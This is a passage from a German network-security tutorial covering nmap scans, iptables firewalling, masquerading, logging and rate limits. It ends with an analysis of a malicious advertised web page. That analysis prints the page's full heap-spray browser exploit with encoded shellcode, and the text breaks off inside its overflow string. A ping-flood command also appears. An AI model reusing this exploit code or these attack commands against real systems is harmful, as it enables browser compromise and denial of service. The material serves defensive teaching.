- Syn Scanning (stealth), auch als halb offenes Scanning bezeichnet beruht auf der Nutzung von Datenpaketeten mit gesetztem Syn-Bit. Der Zielrechner antwortet mit gesetzten ACK+SYN Bits, wenn der Port offen ist bzw. mit RST, wenn der Port nicht aktiv ist. Auch diese Scans finden sich oft in den Log-Dateien wieder.
- -sF
- Fin stealth Scan, bei dem ein Paket mit gesetztem FIN-Bit genutzt wird. Offene Ports ignorieren dieses Bit meistens, geschlossene antworten mit einem RST-Paket. Man kann auch alle Schalter setzen (Xmas-Paket) -sX bzw. keineen Schalter (Null-Paket) -sN.
Weitere wichtige Schalter von nmap sind:
- -O
- Aktiviert das OS-Fingerprinting, nmap versucht das Betriebssystem des Zielrechners zu ermittlen.
- -v
- bzw. -vv erhöhen die Geschwätzigkeit von nmap.
Mit nmap kann man eine große Zahl von Rechnern auf einen Schlag scannen.
nmap -sS -O www.zielrechner.de/24
Scannt alle Rechner, deren IP in den ersten drei Oktetts mit der von www.zielrechner.de übereinstimmt, das können 254 Rechner sein.
7. Paketfilter zum Absichern von Rechnern
Ein Rechner mit Kontakt zum Internet bzw. anderen Datennetzen ist immer gefährdet. Man kann die bestehenden Risiken nicht verhindern, nur vermindern. Eine übliche Möglichkeit dazu sind Paketfilter. Paketfilter analysieren Datenpakete nach bestimmten Kriterien und verwerfen Pakete, die diesen Kriterien nicht genügen. Filter gibt es auf zwei Ebenen:
- Paketebene
- Applikationsebene
Sehr nützlich, aber auch speziell und meistens teuer sind Filter auf Applikationsebene. Ein derartiger Filter wertet den Datenverkehr für einen speziellen Dienst aus und kann z.B. im Mailverkehr nach Viren suchen. Oder ein http-Filter könnte unerwünschte Daten bzw. Zugriffe von außen auf bestimmte Seiten blockieren. Zurzeit gibt es immer mehr derartige Programme, relativ neu z.B. einen Filter der Samba-Zugriffe im Netz auf Viren untersucht.
Sehr weit verbreitet und sind Filter auf Paketebene. Hier wird jedes Datenpakte, das über ein Netzwerkgerät hereinkommt oder herausgeht, untersucht. Diese Untersuchungen sind mehr formaler Natur, es geht um Absender- oder Zieladressen, Protokolle bzw. die gesetzten Bits.
Paketfilter müssen zum Betriebssystem passen. Deshalb gibt es hier sehr unterschiedliche Systeme für Hardwarerouter, Windows- oder Linux-Systeme.
Auf Linux-Rechnern unterscheiden sich die verwendeten Paketfilter sogar je nach den Haupt-Kernelversionen. Für die Kernel 2.0.x war es ipfwadm, für 2.2.x ipchains und für die aktuellen Kernel ist es iptables.
7.1. Iptables
Iptables ist eine Erweiterung des älteren Systems ipchains. Genau genommen sind diese Programme nicht wirklich Paketfilter, sondern sie steuern die Paketfilter, die in die jeweiligen Kernel bereits eingebaut sind. Der Kernel kennt drei Arten von Regeln (Chains):
- Input wendet er an, wenn ein Paket an einem Interface ankommt;
- Output wendet er an, bevor ein Datenpaket ein Interface verlässt;
- Forward benutzt er, wenn er ein Datenpaket von einem Interface zu einem anderen weiterleitet.
Jede Chain besteht aus einer Liste von Regeln, mit denen der Kernel jedes Datenpaket überprüft.
Die Regeln geben jeweils an, was zu tun ist, wenn der Header des Paketes einen bestimmten Aufbau besitzt. Wenn das Paket nicht den beschriebenen Aufbau hat, wendet der Kernel die nächste Regel an.
Als Ergebnis dieser Überprüfung ergibt sich für das Datenpaket eine der Möglichkeiten:
- ACCEPT, der Kernel transportiert das Paket weiter;
- DROP, er verwirft das Paket ohne Rückmeldung;
- REJECT, er verwirft das Paket, informiert aber per ICMP den Absender.
Eine wichtige Änderung gegenüber IPchains besteht darin, dass Forwarding-Pakete, also solche, die nicht für den Rechner selber bestimmt sind, bei iptables nur noch die Forward-Chain durchlaufen. Die Input- und Output-Regeln spielen für diese Pakete keine Rolle. Im Paket-Header kann iptables u.a. folgende Informationen mit Regeln überprüfen:
- Absender-IP und -Port (-s Source),
- Ziel-IP und -Port (-d Destination),
- Protokoll (-p Protocol).
Fragt man die eingestellten Regeln mit iptables -L ab, so erhält man:
Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination
Für alle drei Chains liegt die Standard-Regel (Default-Policy) auf ACCEPT. Der Kernel wendet die Default-Policy an, wenn er ansonsten keine passende Regel findet.
Interessant ist vor allem die Forward-Chain. Hier leitet der Kernel momentan nur weiter, was für ein privates Netz unpraktisch ist, da der erste Router im Internet die Datenpakete aufgrund ihrer privaten IP-Adressen verwirft. Hier muss man noch erreichen, dass der Kernel bei Datenpaketen aus dem lokalen Netz die private IP-Adresse des Absenders durch seine gültige IP-Adresse ersetzt. Dazu gibt es bei IPTABLES neben den bisher angesprochenen Chains die zwei zusätzlichen Bereiche PREROUTING und POSTROUTING.
7.2. Masquerading
Wenn ein Datenpaket erfolgreich die FORWARD-Chain durchlaufen hat, danach also z.B. über ppp0 ins Internet gehen würde, muss die Absenderadresse geändert, also das Paket maskiert werden.
Die bisher angesprochenen Chains INPUT, OUTPUT und FORWARD gehören zur Default-Table filter, während PREROUTING und POSTROUTING zur Table nat gehören.
Die Table filter muss in den Regeln nicht explizit angeben, wohl aber die Table nat (network address translation), die für alle Veränderungen der Adressinformationen, also auch das Masquerading, zuständig ist.
Folgendermaßen fügt man (-A) die Masquerading-Regel für das Output-Device (-o ppp0) an die POSTROUTING Chain der Table nat (-t nat) an:
iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
Sollte man bei der Eingabe dieser Regel eine Fehlermeldung erhalten, so ist vermutlich das Kernel-Modul für Nat nicht geladen; in diesem Fall gibt man
modprobe iptable_nat
ein und wiederholt danach die Nat-Regel.
Falls man sich beim Eintippen der Regeln verschreiben sollte, muss man die Regeln auch wieder loswerden können. Alle eingegebenen Regeln kann man auf einen Schlag löschen. Mit
iptables -F
löscht man alle Regeln der Default-Table filter und mit
iptables -t nat -F
alle Regeln der Table nat.
Mit der oben angegebenen Nat-Regel haben alle Rechner im Netz fast vollen Internet-Zugriff. Nur ein paar Dienste machen noch Probleme. Dazu gehört FTP, da dieser Dienst mit zwei verschiedenen Ports arbeitet. Über den Datenkanal empfängt man per FTP Pakete, die man über den Kommandokanal angefordert hat. Darauf ist die hier beschriebene Firewall bisher nicht eingestellt. Für die meisten problematischen Dienste gibt es inzwischen Module, die diese Probleme überwinden können. Diese Module muss man noch laden. Eine Lösung besteht darin, das folgende Programm zu erstellen, welches die Default-Policy auf Masquerading stellt und die benötigten Module lädt. Das Script beruht auf dem Muster-Script sekeleton von SuSE:
#! /bin/sh # # /etc/init.d/maske # # and symbolic its link # # /sbin/rcmaske # # System startup script for Masquerading # ### BEGIN INIT INFO # Provides: maske # Required-Start: serial # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: # Description: Start simple Firewall- Skript ### END INIT INFO # Determine the base and follow a runlevel link name. base=${0##*/} link=${base#*[SK][0-9][0-9]} IPTABLES=/usr/sbin/iptables MODPROBE=/sbin/modprobe test -x $IPTABLES || exit 5 test -x $MODPROBE || exit 5 . /etc/rc.status rc_reset fw_dev="ppp0" case "$1" in start) echo -n "Starting Maske Firewall Skript" $MODPROBE iptable_nat $MODPROBE ip_nat_ftp $MODPROBE ip_conntrack $MODPROBE ip_conntrack_ftp $IPTABLES -F $IPTABLES -t nat -F $IPTABLES -t nat -A POSTROUTING -o $fw_dev -j MASQUERADE # Remember status and be verbose rc_status -v ;; stop) echo -n "Shutting down Maske Skript" $IPTABLES -F $IPTABLES -t nat -F # Remember status and be verbose rc_status -v ;; *) echo "Usage: $0 {start|stop}" exit 1 ;; esac rc_exit
Das Script muss man noch mit
chmod u+x /etc/init.d/maske
ausführbar machen und bei Opensuse mittels:
insserv maske
aktivieren. Man kann das Maske-Script gut als Grundlage für eigene Experimente benutzen. Damit ist das Masquerading vollständig funktionsfähig.
7.3. Firewalling
Die bisherigen Informationen über Paketfilterung reichen erst einmal aus, um das Masquerading zu aktivieren. Will man eine genauere Kontrolle über die Pakete haben, so muss man tiefer in den Umgang mit IPTABLES einsteigen. Bezogen auf eine gesamte Chain kann man:
- Die Policy für eine eingebaute Chain ändern (-P);
- Alle Regeln in einer Chain listen (-L);
- Alle Regeln in einer Chain löschen (-F).
Bezogen auf einzelne Regeln kann man:
- Eine Regel an eine Chain anfügen (append) (-A);
- Eine Regel in eine Chain einfügen (insert) (-I);
- Eine Regel in einer Chain ersetzen (replace) (-R);
- Eine Regel in einer Chain löschen (delete) (-D);
- Die erste Regel in einer Chain, die zutrifft, löschen (-D).
Dabei spielt die Reihenfolge eine wichtige Rolle. Der Kernel arbeitet die erste Regel ab, die zutrifft. Spätere Regeln spielen dann keine Rolle mehr. Neben den drei vorgegebenen Chains kann man auch eigene Chains (Benutzer-Chains) einrichten, um aufwändigere Regelwerke besser zu strukturieren . Für eigenen Chains gibt es folgende Regeln:
- Eine Benutzerchain definieren und bennenen (-N);
- Eine (leere) Benutzerchain löschen (-X).
Wir werden im weiteren Verlauf des Kapitels ein Beispiel mit einer Benutzerchain kennenlernen. Der erste Parameter von IPTABLES gibt üblicherweise an, was man machen möchte (append, insert, ...). Danach gibt man an, auf welche Chains sich die Regel beziehen soll und zuletzt die eigentliche Regel. Ein paar kleine Beispiele:
iptables -P FORWARD DROP
Setzt die Policy für die Forward-Chain auf DROP. Alle Pakete zwischen den Interfaces würde der Kernel also abweisen, wenn er nicht noch eine passende positive Regel in der Chain findet.
iptables -A FORWARD -s 192.168.1.51 -j DROP
Diese Regel unterbindet das Weiterleiten aller Datenpakete vom Rechner mit der IP-Adresse 192.168.1.51. Dieser Rechner kann aber noch auf lokale Serverdienste, wie z.B. Squid und den Apache zugreifen, aber nicht direkt aufs Internet. Für die Regel überprüft der Kernel hier den Absender (-s). Trägt das Datenpaket die angegebene IP-Adresse als Absender, springt die Regel zu DROP (-j), das Paket wird verworfen. Absender- und Zieladresse eines Paketes bestehen aus der Angabe von Adresse und Port:
192.168.1.2 80 (WWW-Port des Servers).
Statt der IP-Adresse kann man auch den Namen angeben. Gleichbedeutend wäre also
boss.lokales-netz.de 80
Da man oft mehrere ähnliche Adressen ansprechen will, kann man Gruppen angeben. Bei 192.168.1.0/24 fällt die IP unter unsere Regel, wenn die ersten 24 Bit der IP diesem Muster entsprechen. Hat man keine IP angegeben, so sind alle Adressen gemeint, was man auch konkret mit 0/0 angeben könnte. Wenn man keine Angabe über Ports gemacht hat, bezieht sich das Muster auf alle Ports. Man kann jedoch wie oben einen Port einzeln angeben oder mit von:bis einen Bereich von Ports. Mit 30:144 würde man also alle Ports von 30 bis 144 erreichen, mit :144 alle Ports von 0 bis 144, da die erste Angabe fehlt. Entsprechend wäre eine fehlende zweite Angabe mit der höchsten Portnummer identisch. Ports können nicht nur über ihre Nummern angeben werden, sondern auch über ihre Bezeichnung:
boss.lokales-netz.de www
Bisher haben wir kein Protokoll angegeben, also gilt die Regel für alle Protokolle. Im folgenden Beispiel (aus dem IPTABLES-HOWTO) unterbindet man einen ping auf 127.0.0.1 (Loopback-Device). Ping benutzt das Protokoll ICMP. Vor Anwendung der Regel sollte man sich mit
ping -c 1 127.0.0.1
überzeugen, dass man in der Grundeinstellung hier ein einzelnes (-c1) Paket erfolgreich übertragen kann.
iptables -I INPUT -s 127.0.0.1 -p icmp -j DROP
Damit wird der nächste ping von dieser Adresse aus nicht mehr funktionieren, da das Antwortpaket nicht mehr durch die Firewall kommt. Ping wartet übrigens sehr lange, bevor er mit einer Fehlermeldung aufgibt.
Ungeduldige brechen vorher mit (Strg)+(C) den Befehl ab. Bleibt zu klären, wie man diese Regel wieder löschen kann. Da wir wissen, dass die Regel die einzige bzw. erste Regel in der Chain Input ist, kann man sie mit
iptables -D INPUT 1
löschen. Das -D steht hier für Delete und erwartet die Angabe der Chain und die Nummer der Regel.
Bei vielen Regeln ist dieser Weg unübersichtlich; dann ist es einfacher, die Regel mit dem Parameter -D noch einmal anzugeben:
iptables -D INPUT -s 127.0.0.1 -p icmp -j DROP
Bei den Regel-Parametern gibt es folgende Angaben:
- -s Adresse(n) inklusive Port (Source),
- -d Adresse(n) inklusive Port (Destination),
- -i Device (Interface) + als Wildcard erlaubt,
- -p Protokoll,
- -j Aktion (Target),
7.4. Sicherheitsphilosophien
Bei der Arbeit mit IPTABLES gibt es zwei grundsätzliche Strategien:
- Vertrauen: Alles ist erlaubt, was nicht explizit verboten ist. Die Default-Policies stellt man bei diesem Ansatz auf ACCEPT.
- Misstrauen: Alles ist verboten, was nicht explizit erlaubt wurde. Die Default-Policies stellen man dann auf REJECT oder DROP.
Die größere Sicherheit bietet der misstrauische Ansatz. Er macht aber auch viel Arbeit, wenn man mehrere Dienste oder Protokolle freischalten muss. Man sollte hier sehr genau überlegen, welche sinnvollen Anforderungen Anwender im Netz haben und welche Anwendungen wirklich eine Rolle spielen. Erst dann kann man entscheiden, mit welcher Strategie man an die Firewall herangeht.
7.5. Ein praktisches Beispiel
Für ein kleines lokales Netz sollten Sie das Forwarding nur für die Rechner im lokalen Netz ermöglichen, neue Anfragen von außen sollten Sie normalerweise verwerfen. Die folgenden Regeln (frei nach dem Filtering HOWTO) zeigen das exemplarisch:
# definierten Zustand erstellen und alle Regeln löschen iptables -F iptables -t nat -F # Ein Router sollte Pakete vom Typ destination-unreachable bearbeiten iptables -A INPUT -i ppp0 -p icmp --icmp-type destination-unreachable -j ACCEPT # Kette erstellen, die neue Verbindung blockt, es sei denn, sie kommen von innen iptables -N block iptables -A block -m state --state ESTABLISHED,RELATED -j ACCEPT iptables -A block -m state --state NEW -i ! ppp0 -j ACCEPT iptables -A block -j DROP # Von INPUT und FORWARD Ketten zu dieser Kette springen iptables -A INPUT -j block iptables -A FORWARD -j block # Maskieren der lokalen Rechner iptables -t nat -A POSTROUTING -o ppp0 -j MASQUERADE
In den ersten Zeilen löscht man erst einmal alle Regeln der Table filter und der Table nat. Dann legt man eine Benutzerchain block an, die einerseits Pakete durchlässt, die Antwortpakete sind (Status ESTABLISHED, ...) oder neue Pakete, die nicht über ppp0, also das Internet hereinkommen. Diese Regeln bindet man dann in die INPUT und die FORWARD-Chain ein.
Zuletzt aktiviert man noch das Masquerading, das dann auf die Pakete wirkt, die die FORWARD-Chain erfolgreich passiert haben. Der Rechner antwortet damit auf keinerlei Anforderungen aus dem Internet, nicht einmal einen ping beantwortet er. Aus dem lokalen Netz heraus, und von Server selber aus hat man aber vollen Zugriff auf das Internet.
Soll der Server auf ping reagieren, dann muss am Anfang des Listings folgende Zeile ergänzt werden.
iptables -A INPUT -i ppp0 -p icmp --icmp-type echo-request -j ACCEPT
Soll der Server auch öffentlich Dienste anbieten, so muss man diese explizit freischalten, beispielsweise den Port 80 für einen Webserver:
iptables -A INPUT -i ppp0 -p tcp --dport 80 -j ACCEPT
Diese Regel muss aber vor der Definition der Benutzerchain block stehen, da sie sonst nicht mehr berücksichtigt wird.
7.6. Accounting Rule
Der Kernel zählt für jede Regel mit, wie viele Datenpakete er der Regel unterworfen hat. Bezogen auf das vorangegangene Beispiel liefert
iptables -L block -v
die folgende Ausgabe (nach erfolgter Nutzung):
Chain block (2 references) pkts bytes target prot opt in out source destination 184 9388 ACCEPT all -- any any anywhere anywhere state RELATED,ESTABLISHED 22 1824 DROP all -- any any anywhere anywhere
Der Kernel hat über die erste Regel 184 Pakete akzeptiert und über die zweite Regel 22 Pakete abgelehnt. Will man generell zählen, wie viele Daten ein bestimmter Rechner ins Internet übertragen hat, so ist die einfachste Regel eine ohne Ziel. Eine derartige Regel nennt man auch accounting rule, weil sie nur zum Zählen von Paketen, dem Accounting geeignet ist:
iptables -I INPUT -s 192.168.1.1
Diese Regel zählt alle Pakete vom Host 192.168.1.1. Über den Schalter -I statt -A fügt man diese Regel am Anfang der Chain ein und hängen Sie nicht am Ende an, was keinen Effekt mehr hätte.
Der Befehl
iptables -L INPUT -v
zeigt die Summe von Bytes und Paketen an, die das Interface passiert haben, nachdem die Regel zutreffend war, um das Datenaufkommen in einem Netz sehr differenziert auszuwerten. Zurücksetzen kann man die Zähler über iptables -Z, konkret für das letzte Beispiel mit:
iptables -Z INPUT
7.7. Logging-Rule
Neben der bereits angesprochenen Möglichkeit die Pakete zu zählen hat man mit IPTABLES auch eine einfache Möglichkeit Zugriffe gezielt zu protokollieren. Angenommen, es sollen Zugriffe auf den Telnet-Port 23 nicht nur gesperrt, sondern auch protokolliert werden wer wann versucht auf diesen Port zuzugreifen. Dann fügen wir folgende Regel ein:
iptables -I INPUT -p tcp --dport 23 -j LOG --log-prefix "Telnet-Zugriff: "
Das neue Sprungziel LOG protokolliert Zugriffe in den Dateien /var/log/messages und
/var/log/warn. Im Gegensatz zu anderen Sprungzielen beendet LOG den Ablauf nicht, die weiteren Regeln arbeitet der Kernel also ganz normal ab. Um das Auswerten der Logdateien zu erleichtern, kann man optional mit --log-prefix einen individuellen Textes angeben. Ein Versuch eines Telnet-Zugriffs auf Ihren Server hinterläßt folgende Einträge in der Log-Datei.
Jan 4 14:58:22 boss kernel: Telnet-Zugriff: IN=eth0 OUT= MAC=00:50:bf:55:8d:46:00:50:bf:58:56:fd:08:00 SRC=192.168.1.56 DST=192.168.1.2 LEN=48 TOS=0x00 PREC=0x00 TTL=128 ID=19228 DF PROTO=TCP SPT=1092 DPT=23 WINDOW=8192 RES=0x00 SYN URGP=0
Diese hält Datum, Uhrzeit sowie die IP- und die MAC-Adresse des aufrufenden Rechners fest.
7.8. Limits
Zu den neuen Funktionen von iptables gehört die Möglichkeit Zugriffe in ihrer Häufigkeit zu beschränken. Eine Möglichkeit einen Rechner lahm zu legen besteht darin, ihn von vielen Rechnern im Netz aus mit einem Ping zu belasten. Im schlimmsten Fall mit dem Parameter -f (flood)
ping -f www.bei-mir-nicht.de
Damit schickt der Ping-Befehl seine Datenpakete so oft wie irgend möglich an den Zielrechner. Wenn das mehrere Hacker gleichzeitig machen, dann kann dies zu einem Zusammenbruch des Zielrechners führen. Mit der Limit-Option (-m limit) und deren Parameter --limit 1/sec kann man einen derartigen Angriff unterbinden:
iptables -A INPUT -i ppp0 -p icmp --icmp-type echo-request -m limit --limit 1/sec -j ACCEPT
Der Rechner beantwortet jetzt nur noch einen Ping pro Sekunde. Auch für manche Dienste macht Beschränkung der Anzahl der Zugriffe Sinn. Da es in der letzten Zeit viele Angriffe auf den SSH-Dämon gab, sollten Sie diesen entsprechend schützen. Sie dürfen aber nicht alle Pakete zum SSH-Port limitieren, dass würde ja Ihre Arbeitsgeschwindigkeit beschränkem, sondern nur Pakete für den Verbindungsaufbau.
iptables -A INPUT -p tcp --dport 22 -m limit --limit 1/sec -m state --state NEW -j ACCEPT
Mit dieser Regel können Sie pro Sekunde nur eine Verbindung per SSH aufbauen, nach den Verbindungsaufbau ist der Status der Pakete nicht mehr NEW, die Regel stört dann also nicht während der Verbindung.
Zur Erinnerung: Hier unbedingt auf -m recent eingehen
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP
Quellen:
http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html#ss3.16
http://www.debian-administration.org/articles/187
8. Angiffe auf Rechner
Vor einigen Jahren wurden Rechner oftmals direkt über das Internet angegriffen, sowie sie eine Netzwerkverbindung aufgebaut hatten. Seit DSL steht die Mehrzahl der Rechner relativ sicher hinter einem DSL-Router, der eigentlich immer über eine Firewall-Funktion verfügt.
Angriffe erfolgen heutzutage meist von Innen, entweder über manipulierte Mails, oder über manipulierte Webseiten. Man kann sich bei keiner Website darauf verlassen, dass sie ungefährlich ist:
Über den Jahreswechsel 2004/2005 gab es bei Google auf mehrere Suchbegriffe hin sehr interessante Anzeigen, wie im Screenshot (vom 2.1.05 ca. 17.00h, der Link ist am 3.1.05 ca. 8.20h immer noch so vorhanden ).
Der Link der ersten Anzeige führt anscheinend zu www.computerclassics.de. Was man der Seite nicht ansehen kann, ist der wirkliche Link:
Es öffnet sich die folgende etwas merkwürdige Seite, in den meisten weit verbreiteten Browsern ist der eingebettete Rahmen nicht zu sehen.
Interessant ist der Quelltext dieser Seite.
<HTML> <img src=http://www.irg24.com/80537-Op8QZKM.jpg> <center> <b>Vorname: Anke<br> Alter: 25 <br> Größe: 1.74 m<br> Gewicht: 55 kg<br> <br><br><br></b> "Wissen Sie, ich verstehe eigentlich schon, wie sie so sind. Sie sind wunderschön und sie denken, dass Männer nur an ihnen interessiert sind, weil sie eben schön sind. Aber sie möchten, dass sie an ihnen interessiert sind, weil sie sie sind. Das Problem ist nur, abgesehen von ihrer Schönheit, sind sie nicht besonders interessant. Sie sind unhöflich, abweisend, sie sind mürrisch und sie sind verschlossen. Sie wünschen sich sicher jemand, der bereit ist, hinter all das zu sehen und den wahren Menschen entdeckt. Aber der einzige Grund, weshalb sich jemand die Mühe machen sollte, dahinter zu schauen, ist der, dass sie schön sind. Ironie des Schicksals - Auf seltsame Art sind sie selbst ihr Problem."</center> <SCRIPT language="javascript"> shellcode=unescape("%u9090%u9090%u3390%u33c0%uebc9%u5e12%ufe8b%ub966%u033c%u2e80%u801a%u0136%ue246%uebf7%ue805%uffe9%uffff%u089a%u2b3d%u1b5b%u4c17%u7fdb%u5ba4%u9e4b%u93db%ua427%u275b%u8ba4%uc637%u5ba4%u0423%ua422%u4f5b%u5ba6%ua497%u575b%u2403%u1b1b%u241b%u8fdb%u8521%u181b%u04eb%udc1a%ua46e%u9a07%u83df%u1819%ua218%u1396%u5ea2%ub117%udb4c%ue19c%u8157%u1cc6%u175e%uc6b1%u6b56%u1b5e%u281b%ua99e%u1b1d%ua41b%u8f61%u5e1c%ub117%ue19c%uc633%u5ea2%uc60b%u5ea2%uc607%u5ea2%uc603%u5ea2%ue0ff%udb5e%u621f%uec4d%u8703%u1b1d%ua21b%uef5e%u5ee0%ua9db%u2969%u0307%u1d76%u1b1b%u5ea2%ue0e7%udb5e%u17c5%u9726%u6903%u1b1d%ua21b%ueb5e%u5ee0%u25db%u1052%u0371%u1d58%u1b1b%u5ea2%ue0f3%udb5e%u198d%u31cc%u4b03%u1b1d%ua21b%ufb5e%u5ee0%ucbdb%u4662%u03f4%u1d3a%u1b1b%u5ea2%ue0e3%udb5e%uf399%u8cfd%u2d03%u1b1d%ua21b%uf75e%u2403%u1b1b%u6e1b%u676d%u6866%u4969%u675f%u1b67%u5ea4%u18ef%u24eb%u8edb%u032e%u1b24%u1b1b%u6d6e%u6667%u6968%u5f49%u6767%ua41b%ue75e%ueb18%u3303%u1b1b%u6e1b%u676d%u885f%u8990%u8887%u7f7a%u886f%u7a5c%u837c%u617e%u8782%u5a7e%u6b1b%u5ea4%u18eb%ua2eb%udf5e%u5ee0%u1f0f%u1b1b%ue11b%ud79e%u1819%u1b18%ueb83%u1b20%ua41b%ue35e%ueb18%u1b85%u1b85%u1f83%u1b1a%ua61b%ud79e%u1819%u6b18%u1f03%u1b1a%u831b%u8f8f%u558b%u4848%u9090%u4990%u8d82%u4d80%u494f%u887c%u4886%u8b8e%u7a7f%u7e8f%u7e49%u7e93%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u1b1b%u851b%ua41b%udf5e%ueb18%u9ea6%u19d7%u1818%ua46b%uf35e%ueb18%u185b%u0f66%udb24%u258e%u969c%u1b0f%u9e28%u19d3%u1818%u9ee0%u1993%u1818%u1b5f%u1b1b%u9ee0%u1997%u1818%u1b1b%u1b1b%u9ee0%u199b%u1818%u1b1b%u1b1b%ue081%uc59e%u1819%u1b18%ue01b%uc79e%u1819%u1b18%u1b1b%ua61b%u839e%u1819%u6b18%u9ea6%u1993%u1818%u856b%u851b%u851b%u851b%u851b%u851b%u851b%ua61b%ud79e%u1819%u6b18%u5ea4%u18fb%ua4eb%uf75e%u6ea4%ue217%u4cdc%ue2db%ua4dc%uff96%u961c%ua417%u038e%u8e1c%ua417%u0b6e%u1cc6%u175e%ub171%ue244%udb44%u9fc7%u8fdb%uda20%u26e2%ue31c%u0f04%u5479%udb66%u208f%u6060%u8e65%u04f8%u4c2e%u81db%u20a4%ufbda%ua41d%u078e%u8e1c%u1c17%uc60b%u5e1c%udc17%u1bd3%u1b1b%udc1b"); bigblock = unescape("%u0D0D%u0D0D"); headersize = 20; slackspace = headersize+shellcode.length while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; mem_area = new Array(); max_limit=700; for (i=0;i<max_limit;i++) { sploit_copy = block + shellcode; mem_area[i] = sploit_copy; } iframe_src="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; iframe_name="CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC